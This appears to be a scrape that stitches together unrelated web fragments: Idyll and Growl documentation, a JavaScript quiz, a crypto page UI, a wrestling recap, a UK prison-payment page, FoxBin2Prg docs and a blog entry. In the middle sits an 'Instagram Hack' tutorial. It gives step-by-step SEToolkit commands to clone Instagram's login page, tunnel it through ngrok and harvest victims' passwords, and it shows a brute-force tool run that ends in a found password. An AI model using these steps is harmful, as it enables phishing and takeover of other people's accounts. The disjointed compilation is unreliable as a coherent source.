200589.0$
March
200589.0$


Home
About
Twitter
GitHub
Eve Denison
About Me
Interdisciplinary art, Clinical social work, Being outside


The following events are added as properties to all Idyll components:
onEnterView
- triggered when a component partially enters the viewport.onEnterViewFully
- triggered when a component fully enters the viewport.onExitView
- triggered when a component partially exits the viewport.onExitViewFully
- triggered when a component fully enters the viewport.To customize the position at which these events get triggered (e.g. to trigger the onEnterView
event only
after a component is already 100 pixels inside the viewport), the scrollOffset
property can be used.
A standard trigger
[MyComponent onEnterView:`stateVar++` /]
Add a scroll offset of -100 pixels to both the top and bottom of the viewport.
This means that the event will get triggered when the component is 100 pixels
outside of the viewport.
[MyComponent onEnterView:`stateVar++` scrollOffset:-100 /]
Add a different offset to the top and bottom of the viewport
[MyComponent onEnterView:`stateVar++` scrollOffset:`{ top: -200, bottom: 200 }` /]
Idyll exposes the ref
property to allow you to refer to specific components in
property expressions.
[Component ref:"thisComponent" propName:`refs.thisComponent` /]
The ref property allows you to update the state of one component based on properties of another. Idyll provides some utilities automatically, for example keeping track of the position of a component on the page, and how far through a component's content the reader has scrolled.
Each ref object has the following properties:
{
domNode: node,
isInViewport: boolean,
isFullyInViewport: boolean,
isAboveViewport: boolean,
isBelowViewport: boolean
top: number // distance from the top of the document to the top of this element.
bottom: number // distance from the top of the document to the bottom of this watcher.
height: number // top - bottom.
}
You've learned all about Idyll! All that's left is deploying your project to the web.


1.Inside which HTML element do we put the JavaScript?
2.Where is the correct place to insert a JavaScript?
3.JavaScript is the same as Java
4.How do you create a function in JavaScript?
5.How do you call a function named "myFunction"?
6.How to write an IF statement in JavaScript?
7.How does a WHILE loop start?
8.How can you add a comment in a JavaScript?


Methods which may be optionally implemented by the Growl delegate when used with Growl-WithInstaller.framework.
The methods in this informal protocol will only be called if implemented by the delegate. They allow greater control of the information presented to the user when installing or upgrading Growl from within your application when using Growl-WithInstaller.framework.
growlInstallationInformation |
Return the information to display when installing.
- (NSAttributedString *)growlInstallationInformation;
This information may be as long or short as desired (the window
will be sized to fit it). It will be displayed to the user as an
explanation of what Growl is and what it can do in your application. It
should probably note that no download is required to install.
If this is not implemented, Growl will use a default, localized explanation.
growlInstallationWindowTitle |
Return the title of the installation window.
- (NSString *)growlInstallationWindowTitle;
If not implemented, Growl will use a default, localized title.
growlUpdateInformation |
Return the information to display when upgrading.
- (NSAttributedString *)growlUpdateInformation;
This information may be as long or short as desired (the window
will be sized to fit it). It will be displayed to the user as an
explanation that an updated version of Growl is included in your
application and no download is required.
If this is not implemented, Growl will use a default, localized explanation.
growlUpdateWindowTitle |
Return the title of the upgrade window.
- (NSString *)growlUpdateWindowTitle;
If not implemented, Growl will use a default, localized title.
© The Growl Project (Last Updated May 14, 2005)


my napkins:
?
Get Free Napkins
Napkin Countdown:
Buy napkins: spend:
Eth
Buy Napkins
Sell napkins:
Sell Napkins
Move napkins:
address:
Send napkins
Potato 1 owned by
you can buy it for
Eth:
Buy Potato
Potato 2 owned by
you can buy it for
Eth:
Buy Potato
Potato 3 owned by
you can buy it for
Eth:
Buy Potato
Potato 4 owned by
you can buy it for
Eth:
Buy Potato
Contract:
ref link:
my token count:


I'm a document with only valid links.
should be ignored: external link
should be ignored: local link (no anchor)
should be ignored: local link with name anchor
should be ignored: local link with id anchor
external link
local link (no anchor)
local link with name anchor
local link with id anchor
should be ignored: external link
should be ignored: local link (no anchor)
local link with name anchor
local link with id anchor


@( rule : AttendanceRule, people_json : String, enable_partial_days : Boolean, enable_late_fees : Boolean )(implicit request: play.mvc.Http.Request, messages: play.i18n.Messages) @import helper._ @main(if(rule.getId() == null) "New Attendance Rule" else "Attendance Rule #" + rule.getId(), "attendance") { @if(rule.getId() == null) {
| Category | |
|---|---|
| Person |
|
| Start Date | |
| End Date | |
| Days of Week | |
| Default Code | |
| Min Hours | |
| Latest Arrival Time | |
| Earliest Departure Time | |
| Exempt from Fees |


tasklist View the currently running tasklist
taskkill /F /IM task.exe Kill a task by name
Taskkill /PID PID /F Kill a task by PID
tasklist /SVC Shows links from processes to services
qprocess * Much like tasklist, but a bit easier to read. Has username, login method, session id,


Instagram Hack.!
Welcome back to my website guys,
So, Today we’ll talk about Instagram hacking I’ll show you some of the techniques which I use for hacking Instagram accounts,,,,,
Yo, Yo, Yo.!! Hold on.!! Take it easy I do stuff ethically with the permission of my friends or siblings, just to show them how easy it is to hack into their insta account.
Disclaimer :
All data and information provided on this website is for informational & Educational purposes only. This Website reserves the right to make changes in the policy of this blog anytime and without prior notice.
I will not be responsible for any action performed by any reader. I mostly focus on Programming, Tutorials, Security Guide, Pentesting tutorials and Ethical hacking. If you planned to use the content for an illegal purpose, please leave this site immediately.
Alright, Let’s Get started.!
There are many techniques is available for Instagram hacking, today in this blog we are going to talk about mainly 2 types of Techniques which I use to perform pentest against accounts
- Phishing
- Bruteforcing or Dictionary attack
Phishing :
What is a phishing attack.?
Phishing is a type of social engineering attack often used to steal user data, including login credentials and credit card numbers. It occurs when an attacker, masquerading as a trusted entity, dupes a victim into opening an email, instant message, or text message. The recipient is then tricked into clicking a malicious link, which can lead to the installation of malware, the freezing of the system as part of a ransomware attack or the revealing of sensitive information.
An attack can have devastating results. For individuals, this includes unauthorized purchases, the stealing of funds, or identity theft.
Alright, now so we know what exactly phishing is we can proceed further how we can achieve phising.
Prerequsistes For this attack :
- Kali Linux
- SEToolkit (pre loaded with kali)
- ngrok
Now first of all boot up your kali and update the repo:
sudo apt-get update && dis_upgarde -y
Check if you have SEToolkit installed by typing “setoolkit” inside the terminal if it’s there it’ll load up the setoolkit or else you have to install it I’ve given link above go and check that out or simply type this command in terminal :
sudo apt install setoolkit -y
Thereafter you’ve to install ngrok in system download it from here : https://ngrok.com/download
*Note: ngrok is an alternative to port forwarding method, it automatically do all the things for us to setup port forwarding.!
Process for setting up your ngrok :
- Unzip :
On Linux or OSX you can unzip ngrok from a terminal with the following command. On Windows, just double click ngrok.zip.
unzip /path/to/ngrok.zip
Most people like to keep ngrok in their primary user folder or set an alias for easy command-line access.
- Connect your account :
Running this command will add your authtoken to your ngrok.yml file. Connecting an account will list your open tunnels in the dashboard, give you longer tunnel timeouts, and more. Visit the dashboard to get your auth token.
./ngrok authtoken <YOUR_AUTH_TOKEN>
Login here to generate you’re “Token” https://dashboard.ngrok.com/user/login
- Fire it up :
Once everything is setup you can fireup the negrok, to start a HTTP tunnel on port 80, run this next:
./ngrok http 80
You can also type -h to see help menu:
./ngrok -h
Now once everything is setup we can start with the attack.
Fire up your setoolkit you should see something like this:
[---] The Social-Engineer Toolkit (SET) [---]
[---] Created by: David Kennedy (ReL1K) [---]
Version: 7.7.9
Codename: 'Blackout'
[---] Follow us on Twitter: @TrustedSec [---]
[---] Follow me on Twitter: @HackingDave [---]
[---] Homepage: https://www.trustedsec.com [---]
Welcome to the Social-Engineer Toolkit (SET).
The one stop shop for all of your SE needs.
Join us on irc.freenode.net in channel #setoolkit
The Social-Engineer Toolkit is a product of TrustedSec.
Visit: https://www.trustedsec.com
It's easy to update using the PenTesters Framework! (PTF)
Visit https://github.com/trustedsec/ptf to update all your tools!
Select from the menu:
1) Social-Engineering Attacks
2) Penetration Testing (Fast-Track)
3) Third Party Modules
4) Update the Social-Engineer Toolkit
5) Update SET configuration
6) Help, Credits, and About
99) Exit the Social-Engineer Toolkit
set> 1
Select option 1) from the list & you’ll see somthing like this
Select from the menu:
1) Spear-Phishing Attack Vectors
2) Website Attack Vectors
3) Infectious Media Generator
4) Create a Payload and Listener
5) Mass Mailer Attack
6) Arduino-Based Attack Vector
7) Wireless Access Point Attack Vector
8) QRCode Generator Attack Vector
9) Powershell Attack Vectors
10) SMS Spoofing Attack Vector
11) Third Party Modules
99) Return back to the main menu.
set> 2
Now select option number 2) will show following screen:
1) Java Applet Attack Method
2) Metasploit Browser Exploit Method
3) Credential Harvester Attack Method
4) Tabnabbing Attack Method
5) Web Jacking Attack Method
6) Multi-Attack Web Method
7) Full Screen Attack Method
8) HTA Attack Method
99) Return to Main Menu
set:webattack>3
Now select option 3) from the list gives output as :
1) Web Templates
2) Site Cloner
3) Custom Import
99) Return to Webattack Menu
set:webattack>2
and finally select option 2)
Now it’ll ask for Post back IP Address here we want to performe this over WAN withought port forwarding the router and stuff that’s why we choose ngrok right.!!
Fire up ngrok with following command :
./ngrok http 80
It’ll give following output :
ngrok by @inconshreveable (Ctrl+C to quit)
Session Status online
Account m4xx (Plan: paid)
Version 2.2.8
Region United States (us)
Web Interface http://<IP_ADDRESS>:4040
Forwarding http://feb91dce.ngrok.io -> localhost:80
Forwarding https://feb91dce.ngrok.io -> localhost:80
Connections ttl opn rt1 rt5 p50 p90
0 0 0.00 0.00 0.00 0.00
Now two things you can do either get the IP address of following tunneled which is redirecting traffic to our localhots port 80, get ip by copy-pasting the URL “http://feb91dce.ngrok.io” in the terminal with ping command (without specifing protocol - https ):
root@m4xx:~# ping feb91dce.ngrok.io
PING feb91dce.ngrok.io (xx.xx.xx.xx) 56(84) bytes of data.
It’ll give you IP address of the above domain name copy paste it into setoolkit
set:webattack> IP address for the
POST back in Harvester/Tabnabbing
[<IP_ADDRESS>]: "Past here"
Or just simply past the URL instad like :
set:webattack> IP address for the
POST back in Harvester/Tabnabbing
[<IP_ADDRESS>]: feb91dce.ngrok.io
Now it’ll ask for URL to clone the website
set:webattack> Enter the url to clone:https://www.instagrame.com/
You can do it with any website you want to Harvester Credential.! But on your risk, as you read the Disclaimer above :P
Now Frome here SEToolkit automatically starts apache service for you and setup the whole website and host it on your local machine and with ngrok you have setup the port forwarding “Hurray.!!!!!”
Now send the website to the victims i.e (http://feb91dce.ngrok.io) and use the social engineering you can also shorten the url and customize it to some interesting offers once user click to that link it’ll take them to our phishing page which exactly looks like Original one and after user logged in you can see the password in setoolkit terminal
Bruteforcing / Dictionary attack :
For this you have to download one program: This program will brute force any Instagram account you send it it’s way. Just give it a target, a password list and a mode then press enter and forget about it. No need to worry about anonymity when using this program, its highest priority is your anonymity,it only attacks when your identity is hidden.
Git clone it by typing command inside the terminal :
git clone https://github.com/m4xx101/Brutestagram.git
This program is one of the best tool I know have tweaked a little bit to make it more efficient originally its written by Mohamed
Usage :
python instagram.py <username> <wordlist> -m <mode>
That was the tool description, Now I’ll show you how to create wordlist
Fore creating wordlist we gonna use cupp wordlist generator you can git clone it by typing following command :
git clone https://github.com/Mebus/cupp.git
An awsome tool written by Mebus.!
I’ve been working on my own wordlist generator tool, I’ll post it soon on GitHub and also on the website too, once it gets completed, there are some features which are missing or we can say to make wordlist generation more efficient :) so stay tuned.!
Yeah and one more thing is you can use any wordlist generator of your wish for this.
Once you have done with creating wordlist you can fire up tool it’ll check all the password in the list and will stop immediately after correct password is found.
Examle :
root@m4xx:~# python instagram.py 1_M4Xx_0 /root/Desktop/mywordlist.txt
[-] Wordlist: mywordlist.txt
[-] Username: 1_M4Xx_0
[-] Password: abc123
[-] Attempts: 99
[-] Browsers: 59
[-] Exists: True
[!] Password Found
[+] Username: 1_M4Xx_0
[+] Password: abc123
Conclusion :
What I think is Phishing would be more easy techniques for getting password because we have many options for performing social engineering but guessing password is gonna be little difficult for us not impossible though.
Again I will not be responsible for any illegal action performed by you.! This is only for Educational purposes only.


Vikings Raiders def. Undisputed ERA and The New Day
by WWE.comThe Viking Raiders have built an impressive résumé in 2019, and the reigning Raw Tag Team Champions strengthened their budding legacy with a victory over their counterparts on NXT and SmackDown — Undisputed ERA and The New Day, respectively — at Survivor Series.
The championship squads showed why they’re considered three of the greatest ever assembled, with cohesive offenses like Big E and Kofi Kingston teaming up for a powerbomb–double stomp combination.
That move seemingly gave momentum to The New Day, but instead led to Kyle O’Reilly & Bobby Fish and Erik & Ivar taking out the 7-time champions, leaving it down to just the squads from Raw and NXT.
Ivar showcased amazing athleticism by cartwheeling to avoid Total Elimination, then dropping O’Reilly & Fish with a back handspring double clothesline. Erik then tagged in, setting up the Raw champions for their Viking Experience maneuver to give Raw its first victory of the night.


Send money to someone in prison
You can use this service to make a payment by debit card.
You can also find out how to make a UK bank transfer to a prisoner by:
- online banking
- mobile banking app
- telephone banking
Your money won’t reach the prisoner if you make a transfer from a bank branch or non-UK account.
This service is free and secure, and available in all public prisons in England and Wales. You can’t use the service to send money to someone in a private prison.
Before you start
You’ll need the:
- prisoner’s date of birth
- prisoner number
Money usually takes around 3 working days to reach a prisoner’s account.
You need a bank account to use this service. If you don’t have one you can send money to a prisoner using a postal order, a cheque or cash.
If you need assistance
If you’ve already sent money but have a problem, we can help you resolve your payment issues.
If you’re not confident using a computer, call 0121 626 2707 and we can take you through the service, step-by-step.
For further assistance, please contact us.


Package org.apache.juneau.cp
package org.apache.juneau.cp
Classpath Utilities
-
ClassDescriptionBasic implementation of a
FileFinder
.Utility class for creating beans through creator methods.BeanCreator<T>Utility class for creating beans through constructors, creator methods, and builders.Java bean store.Builder class.Non-existent bean store.Represents a bean in aBeanStore
.Utility class for instantiating a Context bean.A list of default implementation classes.A list of default settings.Utility class for finding regular or localized files on the classpath and file system.Builder class.Represents no file finderIdentifies a directory located either on the classpath or file system.Identifies a file located either on the classpath or file system.An enhancedResourceBundle
.Builder class.A simple list ofMethod
objects.


This document describes the Bin 2 Text extension for FoxBin2Prg by Fernando D. Bozzo.
Documentation of the project is done with Project Documenting Machine by Martina Jindrová using the AB-plugins by myself.
Contents:
See Change log.
The goal of this extension is to use git with VFP. I come up with a bit more, it will work as a simple menu for pjx transfers too.
FoxBin2Prg does a great job in transfering the VFP binary sources into text files.
Since git is used a bit bit different then the common SCM (it's to tricky to decribe with my english),
a need of very fast atomic transfers from Bin to Text comes up.
My first idea was to transfer single binaries from VFP project manager, but the context menu extension works not as expected.
If somebody knows how to figure out what particular node was right clicked on project manager, let me know, I will set this thing up to work from there too.
So the last resort was to transfer whole projects. I've talked Fernando into processing whole pjx containers and some more great stuff.
So now we have a tool that will run, out of a menu in IDE, FoxBin2Prg Bin <> Text for
For the ones familiar with git, the idea is to create backup like commits to the local branch, that can be later rebased or merge --squash into some more meaningfull commit.
It is not designed to push or pull remotes or does the rebase. The good news is that git will run, if properly installed, from VFP's IDE.

The code does additional to FoxBin2Prg:
If you like to have it interacting with git, you need git for windows.
The programm is tested with git for windows version 2.39.2.windows.1 (2023-02-06) 32 and 64bit. See Bin 2 Text Extension for latest git version supported.
There is a settings item in the menu that gives you a bit of control what happens.
Selects a program to run as git GUI. Default is gitk
Just let FoxBin2Prg process the whole pjx and projecthook.
Off is the more sophisticated thing, it just let only those files process that are changed.
The basic idea is to run this for single classes. I have a bit more to code on that.
Tricky to not over optimize.
If FoxBin2Prg is set to create backups, the files will be renamed to *.del.bak
Only one level of backups will be created.
Displays current git branch.
Only available if base directory is controled by git.
If on the git menu item it will create a timestamp message for git commit without interaction.

Only available if base directory is controled by git.
Only fur Menu item git commit Active
Include pjx file itself in the Bin > Text conversion of the git transfer.
Off will be faster, because the pjx needs to be closed and reopened. A change to the pjx need to be processed with the other menu items.
Only available if base directory is controled by git.
Controls several git operations. Defines if the operation runs in bash (Default) or in cmd.
Only available if base directory is controled by git.
Log file
A log is available by checking the storage table.
USE (_SCREEN.gcB2T_Path)The definition of the fields is to be found in Storage_Open.
A timestamp tLastUse gives the moment of last touch while iDirty gives information about the last action.
This is the most basic use of this extension.
While the application is made to run from the menu, I will go give the basic interfaces. The other stuff will be in this documentation anyway. See the exact interface parameters at RunB2T.prg in this documentation or run with help parameter.
Initialise the extension and start the menu.
This can be used to set the base directory. The directory the extension feels home and places it's storage table.
There are side effects of the procedure.
See InitMenu
Call the settings form.
This is what the menus settings item calls.
See Inter_Active
Convert the files of the active project / all projects to text and run git commit.
This is what the menus commit items are calling.
See Pjx2Commit
A couple of functions to create text / binay files.
Create binaries for PJX(s) and all files contained.
See Convert_Pjx_2Bin
Create text files for PJX(s) and all files contained.
See Convert_Pjx_2Txt
Create a file to its binary version. Name the class for library operation.
Create text file for a file given or clkass of a library.
Create a library file for a class.
Create binary versions of all text files found in a given directory.
Create text file for all binary files found in a directory.
There is one interface that offers a way to process any group of files, more complex then one can express with the FoxBin2Prg interface.
This is will process the file list.
If binaries run with this are not in a project known to Convert_Pjx, text files related might be deleted with the delete obsolete files process.
See Convert_Array
The app uses tables to store the settings and to cache the states of the conversions. Those tables are stored in a projcets home directory or any other directory defined with InitMenu.
See Storage_Open for a table structure.


Lauren's EDA Blog
04.03.2016 Emotional Intelligence
I learnt that there were many benefits to be gained from
mindfulness training, both mentally and physically -interesting
that those who received mindfulness training heal quicker and
or are healthier.
I gained an understand of how go about practicing mindfulness and
will attempt to integrate this into a part of my day.
Most importantly, I learnt that you can never use too many analogys.
More the better.
I will be the mountain that stays on the bike, so that I too
can enjoy a clear snow-globe.
Challenging. I have a wandering mind.


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